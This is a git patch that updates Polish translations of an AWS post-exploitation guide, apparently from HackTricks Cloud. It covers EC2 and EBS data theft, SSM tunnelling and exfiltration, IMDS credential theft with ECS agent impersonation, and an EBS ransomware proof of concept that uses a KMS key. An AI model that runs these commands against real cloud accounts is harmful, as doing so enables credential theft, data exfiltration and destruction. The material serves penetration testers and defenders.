From a564388e5dc04c7005ed70df9d5871248c8c6a32 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 13 Jan 2026 14:35:56 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation --- .../README.md | 152 +++++++++++------- .../aws-ecs-post-exploitation/README.md | 42 ++--- 2 files changed, 119 insertions(+), 75 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index c913460ef..bb834daee 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -4,26 +4,26 @@ ## EC2 & VPC -Aby uzyskać więcej informacji, zobacz: +Więcej informacji znajdziesz: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` +### **Złośliwy VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** bez potrzeby instalowania czegokolwiek na samych instancjach. Ten zduplikowany ruch zazwyczaj jest wysyłany do czegoś w rodzaju network intrusion detection system (IDS) w celu analizy i monitoringu.\ -Atakujący mógłby to wykorzystać, aby przechwycić cały ruch i uzyskać z niego wrażliwe informacje: +Mirrorowanie ruchu VPC **duplikuje ruch przychodzący i wychodzący dla instancji EC2 w VPC** bez konieczności instalowania czegokolwiek na samych instancjach. Tak skopiowany ruch zwykle jest wysyłany do systemu wykrywania włamań sieciowych (IDS) w celu analizy i monitorowania.\ +Napastnik mógłby to wykorzystać, aby przechwycić cały ruch i uzyskać z niego wrażliwe informacje: -For more information check this page: +Aby uzyskać więcej informacji, zobacz tę stronę: {{#ref}} aws-malicious-vpc-mirror.md {{#endref}} -### Copy Running Instance +### Kopiowanie działającej instancji -Instancje zwykle zawierają pewnego rodzaju wrażliwe informacje. Istnieją różne sposoby, by uzyskać dostęp (zobacz [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Jednak innym sposobem, aby sprawdzić, co zawiera, jest **utworzenie AMI i uruchomienie z niej nowej instancji (nawet w swoim własnym koncie)**: +Instancje zwykle zawierają różnego rodzaju wrażliwe informacje. Istnieją różne sposoby, żeby się do nich dostać (zobacz [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Innym sposobem, aby sprawdzić, co zawierają, jest **utworzenie AMI i uruchomienie z niego nowej instancji (nawet w swoim własnym koncie)**: ```shell # List instances aws ec2 describe-images @@ -47,10 +47,10 @@ aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups " aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 ``` -### Zrzut EBS Snapshot +### EBS Snapshot dump -**Snapshots are backups of volumes**, które zazwyczaj będą zawierać **wrażliwe informacje**, dlatego ich sprawdzenie powinno ujawnić te dane.\ -Jeśli znajdziesz a **volume without a snapshot** możesz: **Create a snapshot** i wykonać poniższe czynności lub po prostu **mount it in an instance** w ramach konta: +**Snapshots są kopiami zapasowymi woluminów**, które zwykle zawierają **wrażliwe informacje**, dlatego ich sprawdzenie powinno ujawnić te dane.\ +Jeśli znajdziesz **wolumin bez snapshotu** możesz: **utworzyć snapshot** i wykonać poniższe działania lub po prostu **zamontować go w instancji** w ramach konta: {{#ref}} aws-ebs-snapshot-dump.md @@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md ### Covert Disk Exfiltration via AMI Store-to-S3 -Eksportuj EC2 AMI bezpośrednio do S3 używając `CreateStoreImageTask`, aby uzyskać surowy obraz dysku bez udostępniania snapshotów. Pozwala to na pełną analizę offline lub kradzież danych, pozostawiając instance networking nienaruszone. +Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. This allows full offline forensics or data theft while leaving the instance networking untouched. {{#ref}} aws-ami-store-s3-exfiltration.md @@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md ### Live Data Theft via EBS Multi-Attach -Podłącz io1/io2 Multi-Attach volume do drugiej instance i zamontuj go w trybie read-only, aby wyssać dane na żywo bez tworzenia snapshotów. Przydatne, gdy victim volume już ma włączone Multi-Attach w tej samej AZ. +Dołącz wolumin Multi-Attach io1/io2 do drugiej instancji i zamontuj go w trybie tylko do odczytu, aby przechwycić dane na żywo bez tworzenia snapshotów. Przydatne, gdy wolumin ofiary ma już włączone Multi-Attach w tej samej AZ. {{#ref}} aws-ebs-multi-attach-data-theft.md @@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md ### EC2 Instance Connect Endpoint Backdoor -Utwórz EC2 Instance Connect Endpoint, autoryzuj ingress i wstrzyknij efemeryczne klucze SSH, aby dostać się do prywatnych instancji przez zarządzany tunel. Zapewnia szybkie ścieżki lateral movement bez otwierania publicznych portów. +Utwórz EC2 Instance Connect Endpoint, autoryzuj ingress i wstrzyknij tymczasowe klucze SSH, aby uzyskać dostęp do prywatnych instancji przez zarządzany tunel. Zapewnia szybkie ścieżki lateralnego poruszania się bez otwierania publicznych portów. {{#ref}} aws-ec2-instance-connect-endpoint-backdoor.md @@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md ### EC2 ENI Secondary Private IP Hijack -Przenieś secondary private IP of victim ENI na attacker-controlled ENI, aby podszyć się pod zaufane hosty, które są allowlisted po IP. Umożliwia to obejście wewnętrznych ACL lub reguł SG zależnych od konkretnych adresów. +Przenieś sekundarny prywatny IP ENI ofiary na ENI kontrolowany przez atakującego, aby podszyć się pod zaufane hosty, które są allowlistowane po adresie IP. Umożliwia ominięcie wewnętrznych ACL lub reguł SG powiązanych z konkretnymi adresami. {{#ref}} aws-eni-secondary-ip-hijack.md @@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md ### Elastic IP Hijack for Ingress/Egress Impersonation -Przypisz ponownie Elastic IP z victim instance na attacker, aby przechwycić ruch przychodzący lub inicjować połączenia wychodzące, które wyglądają jak pochodzące z zaufanych publicznych IP. +Przypisz ponownie Elastic IP z instancji ofiary do atakującego, aby przechwytywać ruch przychodzący lub inicjować połączenia wychodzące, które wyglądają, jakby pochodziły z zaufanych publicznych adresów IP. {{#ref}} aws-eip-hijack-impersonation.md @@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md ### Security Group Backdoor via Managed Prefix Lists -Jeśli reguła security group odnosi się do customer-managed prefix list, dodanie attacker CIDR do listy cicho rozszerzy dostęp we wszystkich zależnych regułach SG bez modyfikowania samego SG. +Jeśli reguła Security Group odwołuje się do customer-managed prefix list, dodanie CIDRów atakującego do tej listy cicho rozszerza dostęp we wszystkich zależnych regułach SG bez modyfikowania samej SG. {{#ref}} aws-managed-prefix-list-backdoor.md @@ -106,7 +106,7 @@ aws-managed-prefix-list-backdoor.md ### VPC Endpoint Egress Bypass -Utwórz gateway lub interface VPC endpoints, aby przywrócić outbound access z izolowanych subnetów. Wykorzystanie AWS-managed private links omija brakujące IGW/NAT i ułatwia eksfiltrację danych. +Utwórz gateway lub interface VPC endpoints, aby odzyskać dostęp wychodzący z izolowanych subnetów. Wykorzystanie AWS-managed private links omija brakujące kontrolki IGW/NAT, umożliwiając exfiltrację danych. {{#ref}} aws-vpc-endpoint-egress-bypass.md @@ -114,12 +114,12 @@ aws-vpc-endpoint-egress-bypass.md ### `ec2:AuthorizeSecurityGroupIngress` -Atakujący z uprawnieniem ec2:AuthorizeSecurityGroupIngress może dodać reguły przychodzące do security groups (na przykład zezwalając na tcp:80 z 0.0.0.0/0), tym samym eksponując usługi wewnętrzne w publicznym Internecie lub dla nieautoryzowanych sieci. +An attacker with the ec2:AuthorizeSecurityGroupIngress permission can add inbound rules to security groups (for example, allowing tcp:80 from 0.0.0.0/0), thereby exposing internal services to the public Internet or to otherwise unauthorized networks. ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 ``` # `ec2:ReplaceNetworkAclEntry` -Atakujący posiadający uprawnienia ec2:ReplaceNetworkAclEntry (lub podobne) może zmodyfikować Network ACLs (NACLs) w danym subnecie, aby uczynić je bardzo permissive — na przykład zezwalając 0.0.0.0/0 na krytycznych portach — wystawiając cały zakres subneta na Internet lub na nieautoryzowane segmenty sieci. W przeciwieństwie do Security Groups, które są stosowane per-instance, NACLs stosuje się na poziomie subneta, więc zmiana restrykcyjnego NACL może mieć znacznie większy blast radius, umożliwiając dostęp do znacznie większej liczby hostów. +Atakujący posiadający uprawnienia ec2:ReplaceNetworkAclEntry (lub podobne) może zmodyfikować Network ACLs (NACLs) subnetu, aby uczynić je bardzo permissive — na przykład zezwalając 0.0.0.0/0 na krytycznych portach — eksponując cały zakres subnetu do Internetu lub do nieautoryzowanych segmentów sieci. W przeciwieństwie do Security Groups, które są stosowane per-instance, NACLs są stosowane na poziomie subnetu, więc zmiana restrykcyjnego NACL może mieć znacznie większy blast radius, umożliwiając dostęp do znacznie większej liczby hostów. ```bash aws ec2 replace-network-acl-entry \ --network-acl-id \ @@ -131,16 +131,16 @@ aws ec2 replace-network-acl-entry \ ``` ### `ec2:Delete*` -Atakujący posiadający uprawnienia ec2:Delete* i iam:Remove* może usunąć krytyczne zasoby infrastruktury i konfiguracje — na przykład key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, lub managed endpoints. Może to spowodować natychmiastowe przerwanie działania usługi, utratę danych i utratę dowodów sądowych. +Atakujący z uprawnieniami ec2:Delete* i iam:Remove* może usunąć krytyczne zasoby infrastruktury i konfiguracje — na przykład key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Może to spowodować natychmiastowe przerwanie usług, utratę danych oraz utratę dowodów sądowych. -Przykład to usunięcie security group: +One example is deleting a security group: aws ec2 delete-security-group \ --group-id ### VPC Flow Logs Cross-Account Exfiltration -Skieruj VPC Flow Logs do kontrolowanego przez atakującego S3 bucket, aby ciągle zbierać metadane sieciowe (źródło/cel, porty) poza kontem ofiary dla długoterminowego reconnaissance. +Skieruj VPC Flow Logs do attacker-controlled S3 bucket, aby ciągle zbierać metadane sieciowe (source/destination, ports) poza kontem ofiary do długoterminowego rozpoznania. {{#ref}} aws-vpc-flow-logs-cross-account-exfiltration.md @@ -150,32 +150,70 @@ aws-vpc-flow-logs-cross-account-exfiltration.md #### DNS Exfiltration -Nawet jeśli zablokujesz EC2 tak, że żaden ruch nie może się wydostać, nadal może ono **exfil via DNS**. +Nawet jeśli zablokujesz EC2 tak, że żaden ruch nie może wyjść, nadal może **exfil via DNS**. -- **VPC Flow Logs nie zarejestrują tego**. +- **VPC Flow Logs will not record this**. - Nie masz dostępu do AWS DNS logs. -- Wyłącz to, ustawiając "enableDnsSupport" na false za pomocą: +- Wyłącz to ustawiając "enableDnsSupport" na false za pomocą: `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` #### Exfiltration via API calls -Atakujący może wywołać endpointy API konta, które kontroluje. Cloudtrail zapisze te wywołania, a atakujący będzie mógł zobaczyć exfiltrate data w logach Cloudtrail. +Atakujący może wywołać API endpoints konta kontrolowanego przez siebie. Cloudtrail zapisze te wywołania, a atakujący będzie w stanie zobaczyć wyeksfiltrowane dane w logach Cloudtrail. -### Otwarcie Security Group +### Open Security Group -Możesz uzyskać dalszy dostęp do usług sieciowych, otwierając porty w ten sposób: +Możesz uzyskać dalszy dostęp do usług sieciowych, otwierając porty w taki sposób: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC ``` ### Privesc to ECS -Możliwe jest uruchomienie instancji EC2 i zarejestrowanie jej do użycia przy uruchamianiu instancji ECS, a następnie kradzież danych instancji ECS. +It's possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data. -Więcej informacji: [**sprawdź to**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). +For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). -### Usuń VPC flow logs +### Nadużycie IMDS w ECS-on-EC2 i podszywanie się pod agenta ECS + +A compromise inside any ECS task running on an EC2 container instance is typically enough to pivot into the host role and the IAM roles associated with all the other tasks in that node. Because there is **no task isolation for ECS-on-EC2**, every task can query the EC2 Instance Metadata Service (IMDS) by default, steal the container instance profile, and then talk the same WebSocket protocol that the ECS agent uses to the control plane (the **ECScape** primitive) to request the credentials for every task currently scheduled on that host. Latacora documented this workflow in their [ECS-on-EC2 IMDS research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/), which the following offensive summary condenses. + +#### Łańcuch ataku + +1. **Steal the instance profile from inside the container.** Assume IMDSv2 is required, so request a token and then fetch the profile. + +```bash +TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") +curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName} +``` +2. **Use the container instance role to impersonate the ECS agent.** With those credentials you can speak the undocumented WebSocket channel the ECS agent uses; the control plane trusts you as the real agent and delivers **all task IAM credentials** to your process. You can now run higher-privileged tasks locally, dump task environment secrets, or update services/tasks to redeploy workloads you can fully inspect. + +#### IMDS reachability with IMDSv2 + hop limit 1 + +Setting IMDSv2 with `HttpTokens=required` and `HttpPutResponseHopLimit=1` only blocks tasks that live behind an extra hop (Docker bridge). Other networking modes stay within one hop of the Nitro controller and still receive responses: + +| ECS network mode | IMDS reachable? | Reason | +| --- | --- | --- | +| `awsvpc` | ✅ | Each task gets its own ENI that is still one hop away from IMDS, so tokens and metadata responses arrive successfully. | +| `host` | ✅ | Tasks share the host namespace, so they see the same hop distance as the EC2 instance. | +| `bridge` | ❌ | Responses die on the Docker bridge because that extra hop exhausts the hop limit. | + +Dlatego **nigdy nie zakładaj, że hop limit 1 chroni workloady w trybie awsvpc lub host** — zawsze testuj z wnętrza swoich kontenerów. + +#### Wykrywanie blokad IMDS w zależności od trybu sieciowego + +- **awsvpc tasks:** Security groups, NACLs, lub modyfikacje routingu nie mogą zablokować link-local adresu 169.254.169.254, ponieważ Nitro wstrzykuje go na hoście. Sprawdź `/etc/ecs/ecs.config` pod kątem `ECS_AWSVPC_BLOCK_IMDS=true`. Jeśli flaga jest nieobecna (domyślnie) możesz wywołać IMDS bezpośrednio z zadania. Jeśli jest ustawiona, przemieść się do namespace hosta/agenta, aby ją odwrócić, lub uruchom swoje narzędzia poza awsvpc. + +- **bridge mode:** Gdy żądania metadata zawodzą mimo ustawionego hop limit 1, obrońcy prawdopodobnie wstawili regułę drop w `DOCKER-USER`, na przykład `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Wylistowanie `iptables -S DOCKER-USER` to ujawnia, a dostęp roota pozwala usunąć lub zmienić kolejność reguły przed zapytaniem IMDS. + +- **host mode:** Sprawdź konfigurację agenta pod kątem `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. To ustawienie całkowicie usuwa role IAM dla zadań, więc musisz albo je ponownie włączyć, przejść na zadania awsvpc, albo wykraść poświadczenia przez inny proces na hoście. Gdy wartość jest `true` (domyślnie), każdy proces w trybie host — w tym skompromitowane kontenery — może odpytywać IMDS, chyba że zastosowano dedykowane filtry tc/eBPF/cgroup celujące w `169.254.169.254`; szukaj programów tc/eBPF lub reguł iptables odnoszących się do tego adresu. + +Latacora even released [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) you can drop into a target account to enumerate which network modes still expose metadata and plan your next hop accordingly. + +Once you understand which modes expose IMDS you can plan your post-exploitation path: target any ECS task, request the instance profile, impersonate the agent, and harvest every other task role for lateral movement or persistence inside the cluster. + +### Remove VPC flow logs ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` @@ -185,17 +223,17 @@ Wymagane uprawnienia: - `ssm:StartSession` -Oprócz wykonywania poleceń, SSM umożliwia tunelowanie ruchu, które można nadużyć do pivoting z instancji EC2, które nie mają dostępu do sieci z powodu Security Groups lub NACLs. -Jednym ze scenariuszy, gdzie to jest przydatne, jest pivoting z [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) do prywatnego klastra EKS. +Oprócz wykonywania poleceń, SSM umożliwia traffic tunneling, które można wykorzystać do pivoting z instancji EC2, które nie mają dostępu do sieci z powodu Security Groups lub NACLs. +Jednym ze scenariuszy, w którym jest to przydatne, jest pivoting z [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) do prywatnego klastra EKS. > Aby rozpocząć sesję, musisz mieć zainstalowany SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html 1. Zainstaluj SessionManagerPlugin na swojej maszynie -2. Zaloguj się do Bastion EC2 używając następującego polecenia: +2. Zaloguj się na Bastion EC2 używając następującego polecenia: ```shell aws ssm start-session --target "$INSTANCE_ID" ``` -3. Pobierz tymczasowe poświadczenia AWS Bastion EC2 za pomocą skryptu [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) +3. Pobierz tymczasowe poświadczenia Bastion EC2 AWS za pomocą skryptu [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) 4. Przenieś poświadczenia na swoją maszynę do pliku `$HOME/.aws/credentials` jako profil `[bastion-ec2]` 5. Zaloguj się do EKS jako Bastion EC2: ```shell @@ -206,37 +244,37 @@ aws eks update-kubeconfig --profile bastion-ec2 --region -- ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` -8. Ruch z narzędzia `kubectl` jest teraz przekierowywany przez tunel SSM za pośrednictwem Bastion EC2 i możesz uzyskać dostęp do prywatnego klastra EKS ze swojej maszyny, uruchamiając: +8. Ruch z narzędzia `kubectl` jest teraz przekierowywany przez tunel SSM za pośrednictwem Bastion EC2 i możesz uzyskać dostęp do prywatnego klastra EKS ze swojego komputera, uruchamiając: ```shell kubectl get pods --insecure-skip-tls-verify ``` -Zwróć uwagę, że połączenia SSL zakończą się niepowodzeniem, chyba że ustawisz flagę `--insecure-skip-tls-verify` (lub jej odpowiednik w narzędziach audytowych K8s). Ponieważ ruch jest tunelowany przez bezpieczny AWS SSM tunnel, jesteś chroniony przed wszelkiego rodzaju atakami MitM. +Zwróć uwagę, że połączenia SSL nie powiodą się, chyba że ustawisz flagę `--insecure-skip-tls-verify ` (lub jej odpowiednik w narzędziach audytowych K8s). Ponieważ ruch jest tunelowany przez bezpieczny tunel AWS SSM, jesteś chroniony przed wszelkiego rodzaju atakami MitM. -Na koniec, ta technika nie jest specyficzna wyłącznie dla atakowania prywatnych klastrów EKS. Możesz ustawić dowolne domeny i porty, aby wykonać pivot do dowolnej innej usługi AWS lub niestandardowej aplikacji. +Na koniec, ta technika nie jest specyficzna dla atakowania prywatnych klastrów EKS. Możesz ustawić dowolne domeny i porty, aby pivotować do dowolnej innej usługi AWS lub niestandardowej aplikacji. --- -#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession) +#### Szybkie lokalne ↔️ zdalne przekierowanie portu (AWS-StartPortForwardingSession) -Jeśli musisz tylko przekierować **jeden port TCP z instancji EC2 do hosta lokalnego** możesz użyć dokumentu SSM `AWS-StartPortForwardingSession` (parametr 'remote host' nie jest wymagany): +Jeśli potrzebujesz tylko przekierować **jeden port TCP z instancji EC2 na swój lokalny host** możesz użyć dokumentu SSM `AWS-StartPortForwardingSession` (nie jest wymagany parametr zdalnego hosta): ```bash aws ssm start-session --target i-0123456789abcdef0 \ --document-name AWS-StartPortForwardingSession \ --parameters "portNumber"="8000","localPortNumber"="8000" \ --region ``` -Polecenie ustanawia dwukierunkowy tunel między twoją stacją roboczą (`localPortNumber`) a wybranym portem (`portNumber`) na instancji **bez otwierania żadnych przychodzących reguł Security-Group**. +The command establishes a bidirectional tunnel between your workstation (`localPortNumber`) and the selected port (`portNumber`) on the instance **without opening any inbound Security-Group rules**. -Typowe scenariusze użycia: +Typowe zastosowania: * **File exfiltration** -1. Na instancji uruchom szybki serwer HTTP wskazujący na katalog, który chcesz exfiltrate: +1. Na instance uruchom szybki HTTP server wskazujący na katalog, który chcesz exfiltrate: ```bash python3 -m http.server 8000 ``` -2. Ze swojej stacji roboczej pobierz pliki przez tunel SSM: +2. Z twojej workstation pobierz pliki przez tunel SSM: ```bash curl http://localhost:8000/loot.txt -o loot.txt @@ -250,7 +288,7 @@ aws ssm start-session --target i-0123456789abcdef0 \ --parameters "portNumber"="8834","localPortNumber"="8835" # Browse to http://localhost:8835 ``` -Wskazówka: Skompresuj i zaszyfruj dowody przed exfiltrating, aby CloudTrail nie logował clear-text content: +Wskazówka: Skompresuj i zaszyfruj dowody przed ich eksfiltracją, aby CloudTrail nie rejestrował zawartości w postaci jawnego tekstu: ```bash # On the instance 7z a evidence.7z /path/to/files/* -p'Str0ngPass!' @@ -261,7 +299,7 @@ aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{ ``` ### Wyszukiwanie wrażliwych informacji w publicznych i prywatnych AMIs -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel to narzędzie zaprojektowane do **wyszukiwania wrażliwych informacji w publicznych lub prywatnych Amazon Machine Images (AMIs)**. Automatyzuje proces uruchamiania instancji z docelowych AMIs, montowania ich wolumenów oraz skanowania pod kątem potencjalnych secrets lub wrażliwych danych. +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel to narzędzie zaprojektowane do **wyszukiwania wrażliwych informacji w publicznych lub prywatnych Amazon Machine Images (AMIs)**. Automatyzuje proces uruchamiania instancji z docelowych AMIs, montowania ich woluminów oraz skanowania w poszukiwaniu potencjalnych sekretów lub wrażliwych danych. ### Udostępnianie EBS Snapshot ```bash @@ -269,9 +307,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ``` ### EBS Ransomware PoC -Dowód koncepcji podobny do demonstracji Ransomware przedstawionej w notatkach S3 dotyczących post-exploitation. KMS powinien być przemianowany na RMS (Ransomware Management Service) ze względu na łatwość, z jaką można go użyć do szyfrowania różnych usług AWS. +Dowód koncepcji podobny do demonstracji Ransomware opisanej w notatkach dotyczących post-eksploatacji S3. KMS powinno zostać przemianowane na RMS (Ransomware Management Service), biorąc pod uwagę, jak łatwo można go użyć do szyfrowania różnych usług AWS. -Najpierw, z konta 'attacker' w AWS, utwórz customer managed key w KMS. W tym przykładzie pozwolimy, żeby AWS zarządzał danymi klucza, ale w realistycznym scenariuszu złośliwy aktor zachowałby dane klucza poza kontrolą AWS. Zmień key policy tak, aby dowolny Principal konta AWS mógł używać tego klucza. Dla tej key policy nazwa konta to 'AttackSim', a reguła polityki zezwalająca na pełny dostęp nazywa się 'Outside Encryption' +Najpierw, z konta AWS 'attacker', utwórz customer managed key w KMS. W tym przykładzie pozwolę AWS na zarządzanie danymi klucza, ale w realistycznym scenariuszu złośliwy aktor zachowałby dane klucza poza kontrolą AWS. Zmień key policy, aby pozwolić dowolnemu AWS account Principal na użycie klucza. W przypadku tej key policy nazwa konta to 'AttackSim', a reguła polityki zezwalająca na pełen dostęp nazywa się 'Outside Encryption'. ``` { "Version": "2012-10-17", @@ -363,7 +401,7 @@ Najpierw, z konta 'attacker' w AWS, utwórz customer managed key w KMS. W tym pr ] } ``` -Reguła polityki klucza musi mieć włączone następujące uprawnienia, aby umożliwić użycie go do zaszyfrowania wolumenu EBS: +Reguła polityki klucza wymaga włączenia następujących uprawnień, aby umożliwić jej użycie do zaszyfrowania wolumenu EBS: - `kms:CreateGrant` - `kms:Decrypt` @@ -371,17 +409,17 @@ Reguła polityki klucza musi mieć włączone następujące uprawnienia, aby umo - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Now with the publicly accessible key to use. Może być użyte konto 'victim', które ma uruchomione instancje EC2 z dołączonymi niezaszyfrowanymi wolumenami EBS. Wolumeny EBS tego konta 'victim' są naszym celem szyfrowania — atak zakłada przejęcie konta AWS o wysokich uprawnieniach. +Mając teraz publicznie dostępny klucz do użycia. Możemy użyć konta 'victim', które ma uruchomione kilka instancji EC2 z dołączonymi niezszyfrowanymi wolumenami EBS. Wolumeny EBS tego konta 'victim' są celem szyfrowania; ten atak zakłada przejęcie konta AWS o wysokich uprawnieniach. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -Podobnie jak w przykładzie ransomware na S3. Atak utworzy kopie dołączonych wolumenów EBS za pomocą snapshots, użyje publicznie dostępnego klucza z konta 'attacker' do zaszyfrowania nowych wolumenów EBS, następnie odłączy oryginalne wolumeny EBS od instancji EC2 i je usunie, a na końcu usunie snapshots użyte do utworzenia nowo zaszyfrowanych wolumenów EBS. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +Podobnie jak w przykładzie ransomware dla S3. Ten atak stworzy kopie dołączonych wolumenów EBS przy użyciu snapshots, użyje publicznie dostępnego klucza z konta 'attacker' do zaszyfrowania nowych wolumenów EBS, następnie odłączy oryginalne wolumeny EBS od instancji EC2 i je usunie, a na końcu usunie snapshots użyte do utworzenia nowo zaszyfrowanych wolumenów EBS. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) W efekcie w koncie pozostaną jedynie zaszyfrowane wolumeny EBS. ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -Warto też zauważyć, że skrypt zatrzymał instancje EC2, aby odłączyć i usunąć oryginalne wolumeny EBS. Oryginalne niezaszyfrowane wolumeny zostały teraz usunięte. +Warto też zauważyć, że skrypt zatrzymał instancje EC2, aby odłączyć i usunąć oryginalne wolumeny EBS. Oryginalne niezszyfrowane wolumeny zostały teraz usunięte. ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) @@ -456,15 +494,15 @@ Następnie wróć do polityki klucza na koncie 'attacker' i usuń regułę polit ] } ``` -Poczekaj chwilę, aż nowo ustawiona key policy się rozpowszechni. Następnie wróć do konta 'victim' i spróbuj dołączyć jeden z nowo zaszyfrowanych EBS volumes. Zobaczysz, że możesz dołączyć volume. +Poczekaj chwilę, aż nowo ustawiona polityka klucza się rozpowszechni. Następnie wróć do konta 'victim' i spróbuj dołączyć jeden z nowo zaszyfrowanych woluminów EBS. Zobaczysz, że możesz załączyć wolumin. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -Jednak kiedy spróbujesz faktycznie uruchomić ponownie EC2 instance z zaszyfrowanym EBS volume, to po prostu się nie powiedzie i przejdzie ze stanu 'pending' z powrotem do stanu 'stopped' na zawsze, ponieważ dołączone EBS volume nie może zostać odszyfrowane przy użyciu key, gdyż key policy już na to nie pozwala. +Ale kiedy spróbujesz faktycznie ponownie uruchomić instancję EC2 z zaszyfrowanym woluminem EBS, to się nie uda i instancja przejdzie ze stanu 'pending' z powrotem do stanu 'stopped' na zawsze, ponieważ dołączonego woluminu EBS nie da się odszyfrować przy użyciu klucza — polityka klucza już na to nie pozwala. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -To jest użyty python script. Przyjmuje AWS creds dla konta 'victim' oraz publicznie dostępny AWS ARN value dla klucza, który ma być użyty do szyfrowania. Skrypt tworzy zaszyfrowane kopie WSZYSTKICH dostępnych EBS volumes dołączonych do WSZYSTKICH EC2 instances w docelowym AWS account, następnie 